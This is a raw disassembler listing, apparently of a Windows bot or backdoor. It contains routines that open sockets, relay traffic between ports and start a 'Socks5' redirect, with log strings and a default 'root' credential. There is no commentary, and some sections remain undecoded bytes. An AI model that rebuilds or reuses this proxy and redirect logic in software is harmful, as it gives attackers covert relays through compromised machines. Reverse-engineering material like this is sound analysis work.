; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C830	proc near		; CODE XREF: sub_401537j

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42C9FA
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42C888
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C888:				; CODE XREF: sub_42C830+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42C8E2
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C8E2:				; CODE XREF: sub_42C830+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, edi
		jnz	short loc_42C912
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C912:				; CODE XREF: sub_42C830+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_511CAC
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42C9FA
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C966:				; CODE XREF: sub_42C830+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C990
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C990:				; CODE XREF: sub_42C830+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C9CB
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C9CB:				; CODE XREF: sub_42C830+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42C966
		jmp	short loc_42C9FA
; ---------------------------------------------------------------------------


loc_42C9F2:				; CODE XREF: sub_42C830+15Ej
					; sub_42C830+199j
		push	0Ah
		call	near ptr 28502B8h
		nop


loc_42C9FA:				; CODE XREF: sub_42C830+27j
					; sub_42C830+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_511C9C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CA0E
		push	eax
		call	edi	; closesocket


loc_42CA0E:				; CODE XREF: sub_42C830+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42CA1C
		push	esi
		call	edi	; closesocket


loc_42CA1C:				; CODE XREF: sub_42C830+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42C830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  68h	; h
		db 0CFh	; Ï
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ¡
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ‰
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ‹
		db 0F1h	; ñ
		db  89h	; ‰
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; è
		db 0CEh	; Î
		db  54h	; T
		db 0FDh	; ý
		db 0FFh
		db  68h	; h
		db  5Ch	; \
		db  4Dh	; M
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; Ç
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; Ç
		db    6
		db 0C0h	; À
		db 0F1h	; ñ
		db  43h	; C
		db    0
		db 0E8h	; è
		db 0F4h	; ô
		db  4Ah	; J
		db 0FDh	; ý
		db 0FFh
		db  8Bh	; ‹
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ‹
		db 0C6h	; Æ
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ‰
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  10h
		db 0C3h	; Ã
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CB20:				; CODE XREF: ___:loc_4015FAj
					; ___:00401FC8j
		push	esi
		mov	esi, ecx
		call	sub_401B9F
		test	byte ptr [esp+8], 1
		jz	short loc_42CB38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42CB38:				; CODE XREF: ___:0042CB2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42CB50	proc near		; CODE XREF: sub_401B9Fj
		jmp	sub_4017A8
sub_42CB50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB70	proc near		; CODE XREF: sub_4019F1j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42CB70
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42CDA8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42CC5B
		mov	edx, [esi+9Dh]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42CC5B:				; CODE XREF: sub_42CB70+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42CD54


loc_42CC6F:				; CODE XREF: sub_42CB70+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CD35
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		call	near ptr 71AC1028h
		nop
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42CD35
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42CD35
		push	0A9h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42CCD5
		mov	ecx, eax
		call	sub_40166D
		mov	edi, eax


loc_42CCD5:				; CODE XREF: sub_42CB70+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FDC
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013DE


loc_42CD35:				; CODE XREF: sub_42CB70+111j
					; sub_42CB70+133j ...
		push	0FAh
		nop
		call	near ptr 28502B8h
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42CC6F


loc_42CD54:				; CODE XREF: sub_42CB70+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CD66
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42CD66:				; CODE XREF: sub_42CB70+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017EE
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h


loc_42CDA8:				; CODE XREF: sub_42CB70+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42CB70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42CE60	proc near		; CODE XREF: sub_402202j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_42CE60	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019C4
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D150:				; CODE XREF: ___:loc_40204Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43D0A4
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42D2B7
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h,	16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh
		dd 7EED1BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah
		dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	3FDCE800h, 68FFFDh, 8D004446h
		dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h
		dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD3F9Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 27E80000h
		db 41h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42D2B7:				; CODE XREF: ___:0042D18Dj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D3E7
		push	9Dh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42D2FE
		mov	ecx, eax
		call	sub_401898
		mov	edi, eax
		jmp	short loc_42D300
; ---------------------------------------------------------------------------


loc_42D2FE:				; CODE XREF: ___:0042D2F1j
		xor	edi, edi


loc_42D300:				; CODE XREF: ___:0042D2FCj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D3E7:				; CODE XREF: ___:0042D2CAj
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D510
		push	0A2h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42D42E
		mov	ecx, eax
		call	sub_4018ED
		mov	edi, eax
		jmp	short loc_42D430
; ---------------------------------------------------------------------------


loc_42D42E:				; CODE XREF: ___:0042D421j
		xor	edi, edi


loc_42D430:				; CODE XREF: ___:0042D42Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42D4DE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42D4E5
; ---------------------------------------------------------------------------


loc_42D4DE:				; CODE XREF: ___:0042D4D3j
		mov	byte ptr [edi+9Dh], 0


loc_42D4E5:				; CODE XREF: ___:0042D4DCj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42D510:				; CODE XREF: ___:0042D3FAj
		lea	ecx, [ebp+8Eh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D5DD
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42D55A
		mov	ecx, eax
		call	sub_40218A
		mov	edi, eax
		jmp	short loc_42D55C
; ---------------------------------------------------------------------------


loc_42D55A:				; CODE XREF: ___:0042D54Dj
		xor	edi, edi


loc_42D55C:				; CODE XREF: ___:0042D558j
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D5DD:				; CODE XREF: ___:0042D526j
		lea	ecx, [ebp+0BCh]
		call	sub_4014DD
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D809
		lea	ecx, [esp+30h]
		call	sub_40142E
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6BF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6BF:				; CODE XREF: ___:0042D6AFj
		lea	ecx, [esp+18h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6DD
		push	offset byte_448F30
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6DD:				; CODE XREF: ___:0042D6CDj
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		mov	edi, dword_511B14
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C2B
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42D809:				; CODE XREF: ___:0042D5FCj
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42D826
		mov	[ebp+11Ch], al


loc_42D826:				; CODE XREF: ___:0042D81Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DA00:				; CODE XREF: ___:004021CBj
		push	ecx
		mov	edx, dword_449A4D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42DA21
		inc	ecx
		mov	[eax+118h], ecx


loc_42DA21:				; CODE XREF: ___:0042DA18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA80	proc near		; CODE XREF: sub_401E1Fj

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_438244
sub_42DA80	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 900D8B19h, 5000511Ah, 6840C183h, 4473D0h, 64E89051h
		dd 83778133h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42DAD0:				; CODE XREF: ___:00401D8Ej
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42DAE3
		mov	ecx, [eax+18h]
